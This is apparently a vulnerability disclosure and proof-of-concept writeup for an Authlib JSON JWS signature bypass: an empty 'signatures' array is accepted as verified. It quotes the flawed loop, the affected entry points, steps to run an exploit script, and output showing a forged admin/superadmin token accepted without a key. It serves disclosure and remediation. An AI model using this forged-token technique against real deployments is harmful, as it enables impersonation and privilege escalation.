
Authlib 1.7.2: Signature Verification Bypass - General JSON JWS Accepts Unsigned Payload when `signatures` is Empty
Proof-of-concept for a signature verification bypass in Authlib's authlib.jose module. JsonWebSignature.deserialize_json() accepts a General JSON JWS object with an empty signatures array and returns the attacker-controlled payload as successfully verified - no key required, no signature checked.
Affected: Authlib ≤ 1.7.2, authlib.jose module
Not affected: the compact JWT path (jwt.decode()). This bug is specific to the JSON Serialization JWS API.
CWE: CWE-347 (Improper Verification of Cryptographic Signature), CWE-670, CWE-358
Status: unpatched in 1.7.x - the authlib.jose module was removed entirely in Authlib 1.8, not fixed. Any deployment pinned below 1.8 remains exposed.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid is initialized to True and only ever flipped inside the loop body. When signatures is [], the loop runs zero times, no verification logic executes, and the function returns success - a classic vacuous-truth flaw. Both public entry points are affected:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
Any application that verifies attacker-controlled JSON JWS input via deserialize_json() or deserialize() loses its authenticity/integrity guarantees on that input:
sub, role, session claimsscope, tenant, permissions claimsgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
The three cases isolate the flaw precisely: a real signature with the wrong key is correctly rejected, a real signature with the right key is correctly accepted, and an empty signature list - which should be the most rejected case of all - is silently accepted.
authlib.jose deprecation (no fix issued): Jul 30authlib.jose removed in Authlib 1.8 (not backported as a fix)Discovered and reported by uziii2208 and nguyenminhtuan28.
This PoC is published for educational and defensive purposes - to help maintainers, security teams, and downstream users understand and remediate the issue. Do not use against systems you don't own or have explicit authorization to test.